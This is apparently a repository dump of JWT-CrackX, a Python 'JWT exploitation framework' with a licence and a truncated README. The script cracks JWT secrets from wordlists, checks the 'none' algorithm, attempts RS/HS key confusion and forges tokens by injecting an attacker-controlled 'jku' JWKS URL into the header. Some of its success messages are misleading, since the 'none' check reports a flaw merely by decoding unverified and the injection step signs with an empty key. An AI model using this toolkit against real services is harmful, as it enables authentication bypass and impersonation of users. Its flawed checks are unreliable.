├── JWT-CrackX.py ├── LICENSE └── README.md /JWT-CrackX.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import itertools 3 | import json 4 | import os 5 | import time 6 | import jwt 7 | from jwt import PyJWTError 8 | from concurrent.futures import ThreadPoolExecutor 9 | from cryptography.hazmat.primitives import serialization 10 | from colorama import Fore, Style, init 11 | from tqdm import tqdm 12 | 13 | 14 | init(autoreset=True) 15 | 16 | def print_banner(): 17 | banner = f""" 18 | \t\t███████{Fore.RED}╗{Style.RESET_ALL}███████{Fore.RED}╗{Style.RESET_ALL} ██████{Fore.RED}╗{Style.RESET_ALL}██████{Fore.RED}╗ {Style.RESET_ALL}███████{Fore.RED}╗{Style.RESET_ALL}████████{Fore.RED}╗{Style.RESET_ALL} 19 | \t\t██{Fore.RED}╔════╝{Style.RESET_ALL}██{Fore.RED}╔════╝{Style.RESET_ALL}██{Fore.RED}╔════╝{Style.RESET_ALL}██{Fore.RED}╔══{Style.RESET_ALL}██{Fore.RED}╗{Style.RESET_ALL}██{Fore.RED}╔════╝{Style.RESET_ALL}{Fore.RED}╚══{Style.RESET_ALL}██{Fore.RED}╔══╝{Style.RESET_ALL} 20 | \t\t███████{Fore.RED}╗{Style.RESET_ALL}█████{Fore.RED}╗{Style.RESET_ALL} ██{Fore.RED}║ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL}██{Fore.RED}║{Style.RESET_ALL}█████{Fore.RED}╗ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL} 21 | \t\t{Fore.RED}╚════{Style.RESET_ALL}██{Fore.RED}║{Style.RESET_ALL}██{Fore.RED}╔══╝ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL}██{Fore.RED}║{Style.RESET_ALL}██{Fore.RED}╔══╝ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL} 22 | \t\t███████{Fore.RED}║{Style.RESET_ALL}███████{Fore.RED}╗{Style.RESET_ALL}{Fore.RED}╚{Style.RESET_ALL}██████{Fore.RED}╗{Style.RESET_ALL}██████{Fore.RED}╔╝{Style.RESET_ALL}███████{Fore.RED}╗ {Style.RESET_ALL}██{Fore.RED}║ {Style.RESET_ALL} 23 | \t\t{Fore.RED}╚══════╝╚══════╝ ╚═════╝╚═════╝ ╚══════╝ ╚═╝ {Style.RESET_ALL} 24 | {Style.RESET_ALL}.______________________________________________________{Fore.RED}|_._._._._._._._._._.{Style.RESET_ALL} 25 | {Style.RESET_ALL} \_____________________________________________________{Fore.RED}|_#_#_#_#_#_#_#_#_#_|{Style.RESET_ALL} 26 | {Fore.RED}l {Style.RESET_ALL} 27 | \t{Fore.RED}JWT-CrackX v2.0 {Style.RESET_ALL}| {Fore.MAGENTA}Algs: HS256/HS512/RS256/ES256/ES512 {Style.RESET_ALL}| {Fore.RED}JWKS Injection\n 28 | \t\t\t\t{Style.RESET_ALL}Created by {Fore.RED}SecDet Samurai{Style.RESET_ALL} 29 | """ 30 | print(banner) 31 | 32 | 33 | def batch(iterable, n=1): 34 | l = len(iterable) 35 | for ndx in range(0, l, n): 36 | yield iterable[ndx:min(ndx + n, l)] 37 | 38 | class JWTScanner(object): 39 | 40 | SUPPORTED_ALGS = ['HS256', 'HS384', 'HS512', 'RS256', 'ES256', 'ES512'] 41 | TOP_SECRETS = ["secret", "", "password", "123456", "jwts3cr3t!", "..."] 42 | 43 | def __init__(self): 44 | self.token = None 45 | self.header = None 46 | self.alg = None 47 | 48 | def validate_token(self, token: str): 49 | try: 50 | parts = token.split('.') 51 | if len(parts) != 3: 52 | raise ValueError("Invalid JWT structure") 53 | 54 | self.token = token 55 | self.header = jwt.get_unverified_header(token) 56 | self.alg = self.header.get('alg', '').upper() 57 | return True 58 | 59 | except Exception as e: 60 | self.print_error(f"Token validation failed: {str(e)}") 61 | return False 62 | 63 | def print_status(self, message: str, status: str = "info"): 64 | colors = { 65 | "info": Fore.CYAN, 66 | "success": Fore.GREEN, 67 | "warn": Fore.YELLOW, 68 | "error": Fore.RED 69 | } 70 | print(f"\n{colors[status]}[*] {message}{Style.RESET_ALL}") 71 | 72 | def print_error(self, message: str): 73 | print(f"\n{Fore.RED}[!] ERROR: {message}{Style.RESET_ALL}") 74 | 75 | def check_none_alg(self): 76 | try: 77 | payload = jwt.decode(self.token, options={"verify_signature": False}) 78 | self.print_status("'none' algorithm vulnerability found!", "success") 79 | self.show_payload(payload) 80 | return True 81 | except Exception as e: 82 | self.print_error(f"None algorithm check failed: {str(e)}") 83 | return False 84 | 85 | def brute_force(self, wordlist: str, threads: int = 8): 86 | if not os.path.exists(wordlist): 87 | raise FileNotFoundError(f"Wordlist not found: {wordlist}") 88 | 89 | self.print_status(f"Starting brute-force with {threads} threads...", "info") 90 | 91 | start = time.time() 92 | for secret in self.TOP_SECRETS: 93 | try: 94 | jwt.decode(self.token, secret, algorithms=[self.alg]) 95 | self.print_status(f"Found secret in common list: {secret}", "success") 96 | self.show_payload(jwt.decode(self.token, secret, algorithms=[self.alg])) 97 | return 98 | except PyJWTError: 99 | continue 100 | 101 | with open(wordlist, 'r', errors='ignore') as f: 102 | wordlist_content = f.readlines() 103 | total = len(wordlist_content) 104 | 105 | with ThreadPoolExecutor(max_workers=threads) as executor: 106 | chunks = batch(wordlist_content, 1000) 107 | progress = tqdm(total=total, desc="Processing", unit="word") 108 | 109 | for chunk in chunks: 110 | secrets = [line.strip() for line in chunk if line.strip()] 111 | futures = [executor.submit( 112 | jwt.decode, self.token, s, algorithms=[self.alg] 113 | ) for s in secrets] 114 | 115 | for i, future in enumerate(futures): 116 | try: 117 | future.result() 118 | progress.close() 119 | self.print_status(f"Valid secret found: {secrets[i]}", "success") 120 | self.show_payload(jwt.decode(self.token, secrets[i], algorithms=[self.alg])) 121 | return 122 | except PyJWTError: 123 | progress.update(1) 124 | except Exception as e: 125 | progress.close() 126 | raise e 127 | progress.close() 128 | 129 | self.print_error("Brute-force unsuccessful - no valid secrets found") 130 | 131 | def key_confusion(self, key_path: str): 132 | try: 133 | with open(key_path, 'r') as f: 134 | key_data = f.read() 135 | 136 | try: 137 | key = serialization.load_pem_public_key(key_data.encode()) 138 | except ValueError: 139 | key = serialization.load_der_public_key(key_data.encode()) 140 | 141 | results = {} 142 | for alg in self.SUPPORTED_ALGS: 143 | try: 144 | decoded = jwt.decode(self.token, key_data, algorithms=[alg]) 145 | results[alg] = decoded 146 | except PyJWTError: 147 | continue 148 | 149 | if results: 150 | self.print_status("Key confusion successful!", "success") 151 | for alg, payload in results.items(): 152 | print(f"\n{Fore.YELLOW}Algorithm: {alg}{Style.RESET_ALL}") 153 | self.show_payload(payload) 154 | else: 155 | self.print_error("No valid algorithms found for key confusion") 156 | 157 | except Exception as e: 158 | self.print_error(f"Key confusion failed: {str(e)}") 159 | 160 | def jwks_injection(self, jwks_url: str): 161 | try: 162 | new_header = self.header.copy() 163 | new_header["jku"] = jwks_url 164 | 165 | payload = jwt.decode(self.token, options={"verify_signature": False}) 166 | forged_token = jwt.encode( 167 | payload=payload, 168 | key="", 169 | algorithm=self.alg, 170 | headers=new_header 171 | ) 172 | 173 | self.print_status("JWKS injection successful!", "success") 174 | print(f"\n{Fore.GREEN}Forged Token:{Style.RESET_ALL}\n{forged_token}") 175 | 176 | except Exception as e: 177 | self.print_error(f"JWKS injection failed: {str(e)}") 178 | 179 | def show_payload(self, payload: dict): 180 | print(f"\n{Fore.GREEN}Decoded Payload:{Style.RESET_ALL}") 181 | print(json.dumps(payload, indent=2)) 182 | 183 | 184 | def main(): 185 | print_banner() 186 | scanner = JWTScanner() 187 | 188 | parser = argparse.ArgumentParser( 189 | description="JWT-CrackX Exploitation Framework", 190 | formatter_class=argparse.RawTextHelpFormatter 191 | ) 192 | parser.add_argument('-t', '--token', required=True, help="JWT token to analyze") 193 | parser.add_argument('-w', '--wordlist', help="Path to secrets wordlist") 194 | parser.add_argument('-p', '--pubkey', help="Path to public key file") 195 | parser.add_argument('--jwks', help="JWKS endpoint URL for injection") 196 | parser.add_argument('--threads', type=int, default=8, 197 | help="Number of threads (default: 8)") 198 | 199 | args = parser.parse_args() 200 | 201 | try: 202 | if not scanner.validate_token(args.token): 203 | return 204 | 205 | if scanner.alg == "NONE": 206 | scanner.check_none_alg() 207 | return 208 | 209 | if args.wordlist and scanner.alg in ["HS256", "HS384", "HS512"]: 210 | scanner.brute_force(args.wordlist, args.threads) 211 | return 212 | 213 | if args.pubkey: 214 | scanner.key_confusion(args.pubkey) 215 | return 216 | 217 | if args.jwks: 218 | scanner.jwks_injection(args.jwks) 219 | return 220 | 221 | scanner.print_error("No valid attack vectors found") 222 | print(f"\n{Fore.YELLOW}Try:{Style.RESET_ALL}") 223 | print("- Use --wordlist for HS* algorithms") 224 | print("- Use --pubkey for key confusion") 225 | print("- Use --jwks for endpoint injection") 226 | 227 | except Exception as e: 228 | scanner.print_error(str(e)) 229 | except KeyboardInterrupt: 230 | scanner.print_error("Operation cancelled by user") 231 | 232 | 233 | if __name__ == "__main__": 234 | main() 235 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 SecDet Samurai 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🔒 JWT-CrackX: Advanced JWT Vulnerability Scanner & Exploitation Toolkit 2 | 3 | [](https://opensource.org/licenses/MIT) 4 | [](https://www.python.org/) 5 | [](https://github.com/Untouchable17/JWT-CrackX/releases) 6 | 7 | 8 |